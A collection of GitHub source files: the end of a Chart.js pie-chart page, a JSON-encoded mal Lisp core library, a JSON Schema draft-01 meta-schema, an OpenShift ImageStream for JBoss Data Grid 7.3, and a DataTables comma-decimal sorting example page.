backgroundColor: ['hsl(0, 100%, 60%)', 'hsl(0, 100%, 35%)'],
data: [33, 67]
},
{
backgroundColor: ['hsl(100, 100%, 60%)', 'hsl(100, 100%, 35%)'],
data: [20, 80]
},
{
backgroundColor: ['hsl(180, 100%, 60%)', 'hsl(180, 100%, 35%)'],
data: [10, 90]
}
]
},
options: {
legend: {
labels: {
generateLabels: function(chart) {
// Get the default label list
var original = Chart.defaults.pie.legend.labels.generateLabels;
var labels = original.call(this, chart);
// Build an array of colors used in the datasets of the chart
var datasetColors = chart.data.datasets.map(function(e) {
return e.backgroundColor;
});
datasetColors = datasetColors.flat();
// Modify the color and hide state of each label
labels.forEach(label => {
// There are twice as many labels as there are datasets. This converts the label index into the corresponding dataset index
label.datasetIndex = (label.index - label.index % 2) / 2;
// The hidden state must match the dataset's hidden state
label.hidden = !chart.isDatasetVisible(label.datasetIndex);
// Change the color to match the dataset
label.fillStyle = datasetColors[label.index];
});
return labels;
}
},
onClick: function(mouseEvent, legendItem, legend) {
// toggle the visibility of the dataset from what it currently is
legend.chart.getDatasetMeta(
legendItem.datasetIndex
).hidden = legend.chart.isDatasetVisible(legendItem.datasetIndex);
legend.chart.update();
}
},
tooltips: {
callbacks: {
label: function(context) {
var labelIndex = (context.datasetIndex * 2) + context.dataIndex;
return context.chart.data.labels[labelIndex] + ': ' + context.dataset.data[context.dataIndex];
}
}
}
}
});
</script>
</body>
</html>
|
{
"pile_set_name": "Github"
}
|
["do",
["`", "Utility Functions"],
["def", "_cmp_seqs", ["fn", ["a", "b"],
["if", ["not", ["=", ["count", "a"], ["count", "b"]]],
false,
["if", ["empty?", "a"],
true,
["if", ["equal?", ["get", "a", 0], ["get", "b", 0]],
["_cmp_seqs", ["rest", "a"], ["rest", "b"]],
false]]]]],
["def", "_check_hash_map_keys", ["fn", ["ks", "a", "b"],
["if", ["empty?", "ks"],
true,
["let", ["k", ["first", "ks"]],
["if", ["equal?", ["get", "a", "k"], ["get", "b", "k"]],
["_check_hash_map_keys", ["rest", "ks"], "a", "b"],
false]]]]],
["def", "_cmp_hash_maps", ["fn", ["a", "b"],
["let", ["aks", ["keys", "a"]],
["if", ["not", ["=", ["count", "aks"], ["count", ["keys", "b"]]]],
false,
["_check_hash_map_keys", "aks", "a", "b"]]]]],
["def", "equal?", ["fn", ["a", "b"],
["if", ["sequential?", "a"],
["if", ["sequential?", "b"],
["_cmp_seqs", "a", "b"],
false],
["if", ["map?", "a"],
["if", ["map?", "b"],
["_cmp_hash_maps", "a", "b"],
false],
["if", ["symbol?", "a"],
["if", ["symbol?", "b"],
["=", ["get", "a", ["`", "val"]], ["get", "b", ["`", "val"]]],
false],
["=", "a", "b"]]]]]],
["def", "_clone", ["fn", ["obj"],
["if", ["list?", "obj"],
["slice", "obj", 0],
["if", ["vector?", "obj"],
["let", ["new-obj", ["slice", "obj", 0]],
["do",
["set", "new-obj", ["`", "__vector?__"], true],
"new-obj"]],
["if", ["map?", "obj"],
["let", ["new-obj", ["hash-map"]],
["do",
["map", ["fn", ["k"],
["if", [".", "obj", ["`", "hasOwnProperty"], "k"],
["set", "new-obj", "k", ["get", "obj", "k"]],
null]],
["keys", "obj"]],
"new-obj"]],
["if", ["malfunc?", "obj"],
["let", ["new-obj", ["malfunc", ["get", "obj", ["`", "fn"]],
["get", "obj", ["`", "ast"]],
["get", "obj", ["`", "env"]],
["get", "obj", ["`", "params"]]]],
["do",
["set", "new-obj", ["`", "macro?"], ["get", "obj", ["`", "macro?"]]],
["set", "new-obj", ["`", "__meta__"], ["get", "obj", ["`", "__meta__"]]],
"new-obj"]],
["throw", "clone of unsupported type"]]]]]]],
["def", "clone", ["fn", ["obj"],
["let", ["new-obj", ["_clone", "obj"]],
["do",
[".", "Object", ["`", "defineProperty"], "new-obj", ["`", "__meta__"],
{"enumerable": false, "writable": true}],
"new-obj"]]]],
["def", "assoc!", ["fn", ["a", "b", "c"], ["do", ["set", "a", "b", "c"], "a"]]],
["def", "assocs!", ["fn", ["hm", "kvs"],
["if", ["empty?", "kvs"],
"hm",
["do",
["assoc!", "hm", ["get", "kvs", 0], ["get", "kvs", 1]],
["assocs!", "hm", ["slice", "kvs", 2]]]]]],
["def", "Symbol", ["fn", [], null]],
["def", "symbol", ["fn", ["name"],
["assoc!", ["new", "Symbol"], ["`", "val"], "name"]]],
["def", "symbol?", ["fn", ["a"],
["isa", "a", "Symbol"]]],
["def", "keyword", ["fn", ["name"],
["str", ["`", "\u029e"], "name"]]],
["def", "keyword?", ["fn", ["kw"],
["and", ["=", ["`", "[object String]"], ["classOf", "kw"]],
["=", ["`", "\u029e"], ["get", "kw", 0]]]]],
["`", "Override some list defs to account for Vectors"],
["def", "sequential?", ["fn", ["a"],
[".", "Array", ["`", "isArray"], "a"]]],
["def", "list?", ["fn", ["a"],
["if", [".", "Array", ["`", "isArray"], "a"],
["if", [".-", "a", ["`", "__vector?__"]],
false,
true],
false]]],
["def", "empty?", ["fn", ["a"],
["if", ["sequential?", "a"],
["if", ["=", 0, [".-", "a", ["`", "length"]]],
true,
false],
["=", "a", null]]]],
["def", "vectorl", ["fn", ["lst"],
["let", ["vec", ["slice", "lst", 0]],
["do",
["set", "vec", ["`", "__vector?__"], true],
"vec"]]]],
["def", "vector", ["fn", ["&", "args"], ["vectorl", "args"]]],
["def", "vector?", ["fn", ["a"],
["if", [".", "Array", ["`", "isArray"], "a"],
["if", [".-", "a", ["`", "__vector?__"]],
true,
false],
false]]],
["def", "HashMap", ["fn", [], null]],
["def", "hash-map", ["fn", ["&", "a"],
["assocs!", ["new", "HashMap"], "a"]]],
["def", "map?", ["fn", ["a"],
["isa", "a", "HashMap"]]],
["def", "MalFunc", ["fn", [], null]],
["def", "malfunc", ["fn", ["fn", "ast", "env", "params"],
["assocs!", ["new", "MalFunc"],
["list", ["`", "fn"], "fn",
["`", "ast"], "ast",
["`", "env"], "env",
["`", "params"], "params",
["`", "macro?"], false]]]],
["def", "malfunc?", ["fn", ["a"],
["isa", "a", "MalFunc"]]],
["def", "Atom", ["fn", [], null]],
["def", "atom", ["fn", ["a"],
["let", ["atm", ["new", "Atom"]],
["do",
["set", "atm", ["`", "val"], "a"],
"atm"]]]],
["def", "atom?", ["fn", ["a"],
["isa", "a", "Atom"]]],
null
]
|
{
"pile_set_name": "Github"
}
|
{
"$schema" : "http://json-schema.org/draft-01/hyper-schema#",
"id" : "http://json-schema.org/draft-01/schema#",
"type" : "object",
"properties" : {
"type" : {
"type" : ["string", "array"],
"items" : {
"type" : ["string", {"$ref" : "#"}]
},
"optional" : true,
"default" : "any"
},
"properties" : {
"type" : "object",
"additionalProperties" : {"$ref" : "#"},
"optional" : true,
"default" : {}
},
"items" : {
"type" : [{"$ref" : "#"}, "array"],
"items" : {"$ref" : "#"},
"optional" : true,
"default" : {}
},
"optional" : {
"type" : "boolean",
"optional" : true,
"default" : false
},
"additionalProperties" : {
"type" : [{"$ref" : "#"}, "boolean"],
"optional" : true,
"default" : {}
},
"requires" : {
"type" : ["string", {"$ref" : "#"}],
"optional" : true
},
"minimum" : {
"type" : "number",
"optional" : true
},
"maximum" : {
"type" : "number",
"optional" : true
},
"minimumCanEqual" : {
"type" : "boolean",
"optional" : true,
"requires" : "minimum",
"default" : true
},
"maximumCanEqual" : {
"type" : "boolean",
"optional" : true,
"requires" : "maximum",
"default" : true
},
"minItems" : {
"type" : "integer",
"optional" : true,
"minimum" : 0,
"default" : 0
},
"maxItems" : {
"type" : "integer",
"optional" : true,
"minimum" : 0
},
"pattern" : {
"type" : "string",
"optional" : true,
"format" : "regex"
},
"minLength" : {
"type" : "integer",
"optional" : true,
"minimum" : 0,
"default" : 0
},
"maxLength" : {
"type" : "integer",
"optional" : true
},
"enum" : {
"type" : "array",
"optional" : true,
"minItems" : 1
},
"title" : {
"type" : "string",
"optional" : true
},
"description" : {
"type" : "string",
"optional" : true
},
"format" : {
"type" : "string",
"optional" : true
},
"contentEncoding" : {
"type" : "string",
"optional" : true
},
"default" : {
"type" : "any",
"optional" : true
},
"maxDecimal" : {
"type" : "integer",
"optional" : true,
"minimum" : 0
},
"disallow" : {
"type" : ["string", "array"],
"items" : {"type" : "string"},
"optional" : true
},
"extends" : {
"type" : [{"$ref" : "#"}, "array"],
"items" : {"$ref" : "#"},
"optional" : true,
"default" : {}
}
},
"optional" : true,
"default" : {}
}
|
{
"pile_set_name": "Github"
}
|
{
"kind": "ImageStream",
"apiVersion": "v1",
"metadata": {
"name": "jboss-datagrid73-openshift",
"creationTimestamp": null,
"annotations": {
"openshift.io/display-name": "Red Hat JBoss Data Grid 7.3",
"openshift.io/provider-display-name": "Red Hat, Inc.",
"version": "1.4"
}
},
"spec": {
"lookupPolicy": {
"local": false
},
"tags": [
{
"name": "1.0",
"annotations": {
"description": "Red Hat JBoss Data Grid 7.3 image",
"iconClass": "icon-datagrid",
"openshift.io/display-name": "Red Hat JBoss Data Grid 7.3",
"supports": "datagrid:7.3",
"tags": "datagrid,jboss,hidden",
"version": "1.0"
},
"from": {
"kind": "DockerImage",
"name": "registry.redhat.io/jboss-datagrid-7/datagrid73-openshift:1.0"
},
"generation": null,
"importPolicy": {},
"referencePolicy": {
"type": "Local"
}
},
{
"name": "1.1",
"annotations": {
"description": "Red Hat JBoss Data Grid 7.3 image",
"iconClass": "icon-datagrid",
"openshift.io/display-name": "Red Hat JBoss Data Grid 7.3",
"supports": "datagrid:7.3",
"tags": "datagrid,jboss,hidden",
"version": "1.1"
},
"from": {
"kind": "DockerImage",
"name": "registry.redhat.io/jboss-datagrid-7/datagrid73-openshift:1.1"
},
"generation": null,
"importPolicy": {},
"referencePolicy": {
"type": "Local"
}
},
{
"name": "1.2",
"annotations": {
"description": "Red Hat JBoss Data Grid 7.3 image",
"iconClass": "icon-datagrid",
"openshift.io/display-name": "Red Hat JBoss Data Grid 7.3",
"supports": "datagrid:7.3",
"tags": "datagrid,jboss,hidden",
"version": "1.2"
},
"from": {
"kind": "DockerImage",
"name": "registry.redhat.io/jboss-datagrid-7/datagrid73-openshift:1.2"
},
"generation": null,
"importPolicy": {},
"referencePolicy": {
"type": "Local"
}
},
{
"name": "1.3",
"annotations": {
"description": "Red Hat JBoss Data Grid 7.3 image",
"iconClass": "icon-datagrid",
"openshift.io/display-name": "Red Hat JBoss Data Grid 7.3",
"supports": "datagrid:7.3",
"tags": "datagrid,jboss,hidden",
"version": "1.3"
},
"from": {
"kind": "DockerImage",
"name": "registry.redhat.io/jboss-datagrid-7/datagrid73-openshift:1.3"
},
"generation": null,
"importPolicy": {},
"referencePolicy": {
"type": "Local"
}
},
{
"name": "1.4",
"annotations": {
"description": "Red Hat JBoss Data Grid 7.3 image",
"iconClass": "icon-datagrid",
"openshift.io/display-name": "Red Hat JBoss Data Grid 7.3",
"supports": "datagrid:7.3",
"tags": "datagrid,jboss,hidden",
"version": "1.4"
},
"from": {
"kind": "DockerImage",
"name": "registry.redhat.io/jboss-datagrid-7/datagrid73-openshift:1.4"
},
"generation": null,
"importPolicy": {},
"referencePolicy": {
"type": "Local"
}
}
]
},
"status": {
"dockerImageRepository": ""
}
}
|
{
"pile_set_name": "Github"
}
|
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html>
<head>
<meta http-equiv="content-type" content="text/html; charset=utf-8" />
<link rel="shortcut icon" type="image/ico" href="http://www.datatables.net/media/images/favicon.ico" />
<title>DataTables example</title>
<style type="text/css" title="currentStyle">
@import "../../media/css/demo_page.css";
@import "../../media/css/demo_table.css";
</style>
<script type="text/javascript" language="javascript" src="../../media/js/jquery.js"></script>
<script type="text/javascript" language="javascript" src="../../media/js/jquery.dataTables.js"></script>
<script type="text/javascript" charset="utf-8">
/* Note 'unshift' does not work in IE6. A simply array concatenation would. This is used
* to give the custom type top priority
*/
jQuery.fn.dataTableExt.aTypes.unshift(
function ( sData )
{
var sValidChars = "0123456789-,";
var Char;
var bDecimal = false;
/* Check the numeric part */
for ( i=0 ; i<sData.length ; i++ )
{
Char = sData.charAt(i);
if (sValidChars.indexOf(Char) == -1)
{
return null;
}
/* Only allowed one decimal place... */
if ( Char == "," )
{
if ( bDecimal )
{
return null;
}
bDecimal = true;
}
}
return 'numeric-comma';
}
);
jQuery.fn.dataTableExt.oSort['numeric-comma-asc'] = function(a,b) {
var x = (a == "-") ? 0 : a.replace( /,/, "." );
var y = (b == "-") ? 0 : b.replace( /,/, "." );
x = parseFloat( x );
y = parseFloat( y );
return ((x < y) ? -1 : ((x > y) ? 1 : 0));
};
jQuery.fn.dataTableExt.oSort['numeric-comma-desc'] = function(a,b) {
var x = (a == "-") ? 0 : a.replace( /,/, "." );
var y = (b == "-") ? 0 : b.replace( /,/, "." );
x = parseFloat( x );
y = parseFloat( y );
return ((x < y) ? 1 : ((x > y) ? -1 : 0));
};
$(document).ready(function() {
$('#example').dataTable();
} );
</script>
</head>
<body id="dt_example">
<div id="container">
<div class="full_width big">
DataTables sorting and type detection example
</div>
<h1>Preamble</h1>
<p>When dealing with your own data formatting, it can often be very useful to have DataTables detect data types and sorting them accordingly for types which are not build into DataTables. For this reason plug-in support is provided to allow custom type detection and sorting.</p>
<p>This example shows sorting with a comma (',') for a decimal place. These plug-ins (and others can be found on <a href="http://www.datatables.net/plug-ins">DataTables.net</a>.</p>
<h1>Live example</h1>
<div id="demo">
<table cellpadding="0" cellspacing="0" border="0" class="display" id="example">
<thead>
<tr>
<th>Rendering engine</th>
<th>Browser</th>
<th>Platform(s)</th>
<th>Engine version</th>
<th>CSS grade</th>
</tr>
</thead>
<tbody>
<tr class="gradeX">
<td>Trident</td>
<td>Internet
Explorer 4.0</td>
<td>Win 95+</td>
<td class="center">4</td>
<td class="center">X</td>
</tr>
<tr class="gradeC">
<td>Trident</td>
<td>Internet
Explorer 5.0</td>
<td>Win 95+</td>
<td class="center">5</td>
<td class="center">C</td>
</tr>
<tr class="gradeA">
<td>Trident</td>
<td>Internet
Explorer 5.5</td>
<td>Win 95+</td>
<td class="center">5,5</td>
<td class="center">A</td>
</tr>
<tr class="gradeA">
<td>Trident</td>
<td>Internet
Explorer 6</td>
<td>Win 98+</td>
<td class="center">6</td>
<td class="center">A</td>
</tr>
<tr class="gradeA">
<td>Trident</td>
<td>Internet Explorer 7</td>
<td>Win XP SP2+</td>
<td class="center">7</td>
<td class="center">A</td>
</tr>
<tr class="gradeA">
<td>Trident</td>
<td>AOL browser (AOL desktop)</td>
<td>Win XP</td>
<td class="center">6</td>
<td class="center">A</td>
</tr>
<tr class="gradeA">
<td>Gecko</td>
<td>Firefox 1.0</td>
<td>Win 98+ / OSX.2+</td>
<td class="center">1,7</td>
<td class="center">A</td>
</tr>
<tr class="gradeA">
<td>Gecko</td>
<td>Firefox 1.5</td>
<td>Win 98+ / OSX.2+</td>
<td class="center">1,8</td>
<td class="center">A</td>
</tr>
<tr class="gradeA">
<td>Gecko</td>
<td>Firefox 2.0</td>
<td>Win 98+ / OSX.2+</td>
<td class="center">1,8</td>
<td class="center">A</td>
</tr>
<tr class="gradeA">
<td>Gecko</td>
<td>Firefox 3.0</td>
<td>Win 2k+ / OSX.3+</td>
<td class="center">1,9</td>
<td class="center">A</td>
</tr>
<tr class="gradeA">
<td>Gecko</td>
<td>Camino 1.0</td>
<td>OSX.2+</td>
<td class="center">1,8</td>
<td class="center">A</td>
</tr>
<tr class="gradeA">
<td>Gecko</td>
<td>Camino 1.5</td>
<td>OSX.3+</td>
<td class="center">1,8</td>
<td class="center">A</td>
</tr>
<tr class="gradeA">
<td>Gecko</td>
<td>Netscape 7.2</td>
<td>Win 95+ / Mac OS 8.6-9.2</td>
<td class="center">1,7</td>
<td class="center">A</td>
</tr>
<tr class="gradeA">
<td>Gecko</td>
<td>Netscape Browser 8</td>
<td>Win 98SE+</td>
<td class="center">1,7</td>
<td class="center">A</td>
</tr>
<tr class="gradeA">
<td>Gecko</td>
<td>Netscape Navigator 9</td>
<td>Win 98+ / OSX.2+</td>
<td class="center">1,8</td>
<td class="center">A</td>
</tr>
<tr class="gradeA">
<td>Gecko</td>
<td>Mozilla 1.0</td>
<td>Win 95+ / OSX.1+</td>
<td class="center">1</td>
<td class="center">A</td>
</tr>
<tr class="gradeA">
<td>Gecko</td>
<td>Mozilla 1.1</td>
<td>Win 95+ / OSX.1+</td>
<td class="center">1,1</td>
<td class="center">A</td>
</tr>
<tr class="gradeA">
<td>Gecko</td>
<td>Mozilla 1.2</td>
<td>Win 95+ / OSX.1+</td>
<td class="center">1,2</td>
<td class="center">A</td>
</tr>
<tr class="gradeA">
<td>Gecko</td>
<td>Mozilla 1.3</td>
<td>Win 95+ / OSX.1+</td>
<td class="center">1,3</td>
<td class="center">A</td>
</tr>
<tr class="gradeA">
<td>Gecko</td>
<td>Mozilla 1.4</td>
<td>Win 95+ / OSX.1+</td>
<td class="center">1,4</td>
<td class="center">A</td>
</tr>
<tr class="gradeA">
<td>Gecko</td>
<td>Mozilla 1.5</td>
<td>Win 95+ / OSX.1+</td>
<td class="center">1,5</td>
<td class="center">A</td>
</tr>
<tr class="gradeA">
<td>Gecko</td>
<td>Mozilla 1.6</td>
<td>Win 95+ / OSX.1+</td>
<td class="center">1,6</td>
<td class="center">A</td>
</tr>
<tr class="gradeA">
<td>Gecko</td>
<td>Mozilla 1.7</td>
<td>Win 98+ / OSX.1+</td>
<td class="center">1,7</td>
<td class="center">A</td>
</tr>
<tr class="gradeA">
<td>Gecko</td>
<td>Mozilla 1.8</td>
<td>Win 98+ / OSX.1+</td>
<td class="center">1,8</td>
<td class="center">A</td>
</tr>
<tr class="gradeA">
<td>Gecko</td>
<td>Seamonkey 1.1</td>
<td>Win 98+ / OSX.2+</td>
<td class="center">1,8</td>
<td class="center">A</td>
</tr>
<tr class="gradeA">
<td>Gecko</td>
<td>Epiphany 2.20</td>
<td>Gnome</td>
<td class="center">1,8</td>
<td class="center">A</td>
</tr>
<tr class="gradeA">
<td>Webkit</td>
<td>Safari 1.2</td>
<td>OSX.3</td>
<td class="center">125,5</td>
<td class="center">A</td>
</tr>
<tr class="gradeA">
<td>Webkit</td>
<td>Safari 1.3</td>
<td>OSX.3</td>
<td class="center">312,8</td>
<td class="center">A</td>
</tr>
<tr class="gradeA">
<td>Webkit</td>
<td>Safari 2.0</td>
<td>OSX.4+</td>
<td class="center">419,3</td>
<td class="center">A</td>
</tr>
<tr class="gradeA">
<td>Webkit</td>
<td>Safari 3.0</td>
<td>OSX.4+</td>
<td class="center">522,1</td>
<td class="center">A</td>
</tr>
<tr class="gradeA">
<td>Webkit</td>
<td>OmniWeb 5.5</td>
<td>OSX.4+</td>
<td class="center">420</td>
<td class="center">A</td>
</tr>
<tr class="gradeA">
<td>Webkit</td>
<td>iPod Touch / iPhone</td>
<td>iPod</td>
<td class="center">420,1</td>
<td class="center">A</td>
</tr>
<tr class="gradeA">
<td>Webkit</td>
<td>S60</td>
<td>S60</td>
<td class="center">413</td>
<td class="center">A</td>
</tr>
<tr class="gradeA">
<td>Presto</td>
<td>Opera 7.0</td>
<td>Win 95+ / OSX.1+</td>
<td class="center">-</td>
<td class="center">A</td>
</tr>
<tr class="gradeA">
<td>Presto</td>
<td>Opera 7.5</td>
<td>Win 95+ / OSX.2+</td>
<td class="center">-</td>
<td class="center">A</td>
</tr>
<tr class="gradeA">
<td>Presto</td>
<td>Opera 8.0</td>
<td>Win 95+ / OSX.2+</td>
<td class="center">-</td>
<td class="center">A</td>
</tr>
<tr class="gradeA">
<td>Presto</td>
<td>Opera 8.5</td>
<td>Win 95+ / OSX.2+</td>
<td class="center">-</td>
<td class="center">A</td>
</tr>
<tr class="gradeA">
<td>Presto</td>
<td>Opera 9.0</td>
<td>Win 95+ / OSX.3+</td>
<td class="center">-</td>
<td class="center">A</td>
</tr>
<tr class="gradeA">
<td>Presto</td>
<td>Opera 9.2</td>
<td>Win 88+ / OSX.3+</td>
<td class="center">-</td>
<td class="center">A</td>
</tr>
<tr class="gradeA">
<td>Presto</td>
<td>Opera 9.5</td>
<td>Win 88+ / OSX.3+</td>
<td class="center">-</td>
<td class="center">A</td>
</tr>
<tr class="gradeA">
<td>Presto</td>
<td>Opera for Wii</td>
<td>Wii</td>
<td class="center">-</td>
<td class="center">A</td>
</tr>
<tr class="gradeA">
<td>Presto</td>
<td>Nokia N800</td>
<td>N800</td>
<td class="center">-</td>
<td class="center">A</td>
</tr>
<tr class="gradeA">
<td>Presto</td>
<td>Nintendo DS browser</td>
<td>Nintendo DS</td>
<td class="center">8,5</td>
<td class="center">C/A<sup>1</sup></td>
</tr>
<tr class="gradeC">
<td>KHTML</td>
<td>Konqureror 3.1</td>
<td>KDE 3.1</td>
<td class="center">3,1</td>
<td class="center">C</td>
</tr>
<tr class="gradeA">
<td>KHTML</td>
<td>Konqureror 3.3</td>
<td>KDE 3.3</td>
<td class="center">3,3</td>
<td class="center">A</td>
</tr>
<tr class="gradeA">
<td>KHTML</td>
<td>Konqureror 3.5</td>
<td>KDE 3.5</td>
<td class="center">3,5</td>
<td class="center">A</td>
</tr>
<tr class="gradeX">
<td>Tasman</td>
<td>Internet Explorer 4.5</td>
<td>Mac OS 8-9</td>
<td class="center">-</td>
<td class="center">X</td>
</tr>
<tr class="gradeC">
<td>Tasman</td>
<td>Internet Explorer 5.1</td>
<td>Mac OS 7.6-9</td>
<td class="center">1</td>
<td class="center">C</td>
</tr>
<tr class="gradeC">
<td>Tasman</td>
<td>Internet Explorer 5.2</td>
<td>Mac OS 8-X</td>
<td class="center">1</td>
<td class="center">C</td>
</tr>
<tr class="gradeA">
<td>Misc</td>
<td>NetFront 3.1</td>
<td>Embedded devices</td>
<td class="center">-</td>
<td class="center">C</td>
</tr>
<tr class="gradeA">
<td>Misc</td>
<td>NetFront 3.4</td>
<td>Embedded devices</td>
<td class="center">-</td>
<td class="center">A</td>
</tr>
<tr class="gradeX">
<td>Misc</td>
<td>Dillo 0.8</td>
<td>Embedded devices</td>
<td class="center">-</td>
<td class="center">X</td>
</tr>
<tr class="gradeX">
<td>Misc</td>
<td>Links</td>
<td>Text only</td>
<td class="center">-</td>
<td class="center">X</td>
</tr>
<tr class="gradeX">
<td>Misc</td>
<td>Lynx</td>
<td>Text only</td>
<td class="center">-</td>
<td class="center">X</td>
</tr>
<tr class="gradeC">
<td>Misc</td>
<td>IE Mobile</td>
<td>Windows Mobile 6</td>
<td class="center">-</td>
<td class="center">C</td>
</tr>
<tr class="gradeC">
<td>Misc</td>
<td>PSP browser</td>
<td>PSP</td>
<td class="center">-</td>
<td class="center">C</td>
</tr>
<tr class="gradeU">
<td>Other browsers</td>
<td>All others</td>
<td>-</td>
<td class="center">-</td>
<td class="center">U</td>
</tr>
</tbody>
<tfoot>
<tr>
<th>Rendering engine</th>
<th>Browser</th>
<th>Platform(s)</th>
<th>Engine version</th>
<th>CSS grade</th>
</tr>
</tfoot>
</table>
</div>
<div class="spacer"></div>
<h1>Initialisation code</h1>
<pre class="brush: js;">/* Note 'unshift' does not work in IE6. A simply array concatenation would. This is used
* to give the custom type top priority
*/
jQuery.fn.dataTableExt.aTypes.unshift(
function ( sData )
{
var sValidChars = "0123456789-,";
var Char;
var bDecimal = false;
/* Check the numeric part */
for ( i=0 ; i<sData.length ; i++ )
{
Char = sData.charAt(i);
if (sValidChars.indexOf(Char) == -1)
{
return null;
}
/* Only allowed one decimal place... */
if ( Char == "," )
{
if ( bDecimal )
{
return null;
}
bDecimal = true;
}
}
return 'numeric-comma';
}
);
jQuery.fn.dataTableExt.oSort['numeric-comma-asc'] = function(a,b) {
var x = (a == "-") ? 0 : a.replace( /,/, "." );
var y = (b == "-") ? 0 : b.replace( /,/, "." );
x = parseFloat( x );
y = parseFloat( y );
return ((x < y) ? -1 : ((x > y) ? 1 : 0));
};
jQuery.fn.dataTableExt.oSort['numeric-comma-desc'] = function(a,b) {
var x = (a == "-") ? 0 : a.replace( /,/, "." );
var y = (b == "-") ? 0 : b.replace( /,/, "." );
x = parseFloat( x );
y = parseFloat( y );
return ((x < y) ? 1 : ((x > y) ? -1 : 0));
};
$(document).ready(function() {
$('#example').dataTable();
} );</pre>
<style type="text/css">
@import "../examples_support/syntax/css/shCore.css";
</style>
<script type="text/javascript" language="javascript" src="../examples_support/syntax/js/shCore.js"></script>
<h1>Other examples</h1>
<div class="demo_links">
<h2>Basic initialisation</h2>
<ul>
<li><a href="../basic_init/zero_config.html">Zero configuration</a></li>
<li><a href="../basic_init/filter_only.html">Feature enablement</a></li>
<li><a href="../basic_init/table_sorting.html">Sorting data</a></li>
<li><a href="../basic_init/multi_col_sort.html">Multi-column sorting</a></li>
<li><a href="../basic_init/multiple_tables.html">Multiple tables</a></li>
<li><a href="../basic_init/hidden_columns.html">Hidden columns</a></li>
<li><a href="../basic_init/complex_header.html">Complex headers - grouping with colspan</a></li>
<li><a href="../basic_init/dom.html">DOM positioning</a></li>
<li><a href="../basic_init/flexible_width.html">Flexible table width</a></li>
<li><a href="../basic_init/state_save.html">State saving</a></li>
<li><a href="../basic_init/alt_pagination.html">Alternative pagination styles</a></li>
<li>Scrolling: <br>
<a href="../basic_init/scroll_x.html">Horizontal</a> /
<a href="../basic_init/scroll_y.html">Vertical</a> /
<a href="../basic_init/scroll_xy.html">Both</a> /
<a href="../basic_init/scroll_y_theme.html">Themed</a> /
<a href="../basic_init/scroll_y_infinite.html">Infinite</a>
</li>
<li><a href="../basic_init/language.html">Change language information (internationalisation)</a></li>
<li><a href="../basic_init/themes.html">ThemeRoller themes (Smoothness)</a></li>
</ul>
<h2>Advanced initialisation</h2>
<ul>
<li>Events: <br>
<a href="../advanced_init/events_live.html">Live events</a> /
<a href="../advanced_init/events_pre_init.html">Pre-init</a> /
<a href="../advanced_init/events_post_init.html">Post-init</a>
</li>
<li><a href="../advanced_init/column_render.html">Column rendering</a></li>
<li><a href="../advanced_init/html_sort.html">Sorting without HTML tags</a></li>
<li><a href="../advanced_init/dom_multiple_elements.html">Multiple table controls (sDom)</a></li>
<li><a href="../advanced_init/length_menu.html">Defining length menu options</a></li>
<li><a href="../advanced_init/complex_header.html">Complex headers and hidden columns</a></li>
<li><a href="../advanced_init/dom_toolbar.html">Custom toolbar (element) around table</a></li>
<li><a href="../advanced_init/highlight.html">Row highlighting with CSS</a></li>
<li><a href="../advanced_init/row_grouping.html">Row grouping</a></li>
<li><a href="../advanced_init/row_callback.html">Row callback</a></li>
<li><a href="../advanced_init/footer_callback.html">Footer callback</a></li>
<li><a href="../advanced_init/sorting_control.html">Control sorting direction of columns</a></li>
<li><a href="../advanced_init/language_file.html">Change language information from a file (internationalisation)</a></li>
<li><a href="../advanced_init/defaults.html">Setting defaults</a></li>
<li><a href="../advanced_init/localstorage.html">State saving with localStorage</a></li>
<li><a href="../advanced_init/dt_events.html">Custom events</a></li>
</ul>
<h2>API</h2>
<ul>
<li><a href="../api/add_row.html">Dynamically add a new row</a></li>
<li><a href="../api/multi_filter.html">Individual column filtering (using "input" elements)</a></li>
<li><a href="../api/multi_filter_select.html">Individual column filtering (using "select" elements)</a></li>
<li><a href="../api/highlight.html">Highlight rows and columns</a></li>
<li><a href="../api/row_details.html">Show and hide details about a particular record</a></li>
<li><a href="../api/select_row.html">User selectable rows (multiple rows)</a></li>
<li><a href="../api/select_single_row.html">User selectable rows (single row) and delete rows</a></li>
<li><a href="../api/editable.html">Editable rows (with jEditable)</a></li>
<li><a href="../api/form.html">Submit form with elements in table</a></li>
<li><a href="../api/counter_column.html">Index column (static number column)</a></li>
<li><a href="../api/show_hide.html">Show and hide columns dynamically</a></li>
<li><a href="../api/api_in_init.html">API function use in initialisation object (callback)</a></li>
<li><a href="../api/tabs_and_scrolling.html">DataTables scrolling and tabs</a></li>
<li><a href="../api/regex.html">Regular expression filtering</a></li>
</ul>
</div>
<div class="demo_links">
<h2>Data sources</h2>
<ul>
<li><a href="../data_sources/dom.html">DOM</a></li>
<li><a href="../data_sources/js_array.html">Javascript array</a></li>
<li><a href="../data_sources/ajax.html">Ajax source</a></li>
<li><a href="../data_sources/server_side.html">Server side processing</a></li>
</ul>
<h2>Server-side processing</h2>
<ul>
<li><a href="../server_side/server_side.html">Obtain server-side data</a></li>
<li><a href="../server_side/custom_vars.html">Add extra HTTP variables</a></li>
<li><a href="../server_side/post.html">Use HTTP POST</a></li>
<li><a href="../server_side/ids.html">Automatic addition of IDs and classes to rows</a></li>
<li><a href="../server_side/object_data.html">Reading table data from objects</a></li>
<li><a href="../server_side/row_details.html">Show and hide details about a particular record</a></li>
<li><a href="../server_side/select_rows.html">User selectable rows (multiple rows)</a></li>
<li><a href="../server_side/jsonp.html">JSONP for a cross domain data source</a></li>
<li><a href="../server_side/editable.html">jEditable integration with DataTables</a></li>
<li><a href="../server_side/defer_loading.html">Deferred loading of Ajax data</a></li>
<li><a href="../server_side/pipeline.html">Pipelining data (reduce Ajax calls for paging)</a></li>
</ul>
<h2>Ajax data source</h2>
<ul>
<li><a href="../ajax/ajax.html">Ajax sourced data (array of arrays)</a></li>
<li><a href="../ajax/objects.html">Ajax sourced data (array of objects)</a></li>
<li><a href="../ajax/defer_render.html">Deferred DOM creation for extra speed</a></li>
<li><a href="../ajax/null_data_source.html">Empty data source columns</a></li>
<li><a href="../ajax/custom_data_property.html">Use a data source other than aaData (the default)</a></li>
<li><a href="../ajax/objects_subarrays.html">Read column data from sub-arrays</a></li>
<li><a href="../ajax/deep.html">Read column data from deeply nested properties</a></li>
</ul>
<h2>Plug-ins</h2>
<ul>
<li><a href="../plug-ins/plugin_api.html">Add custom API functions</a></li>
<li><a href="../plug-ins/sorting_plugin.html">Sorting and automatic type detection</a></li>
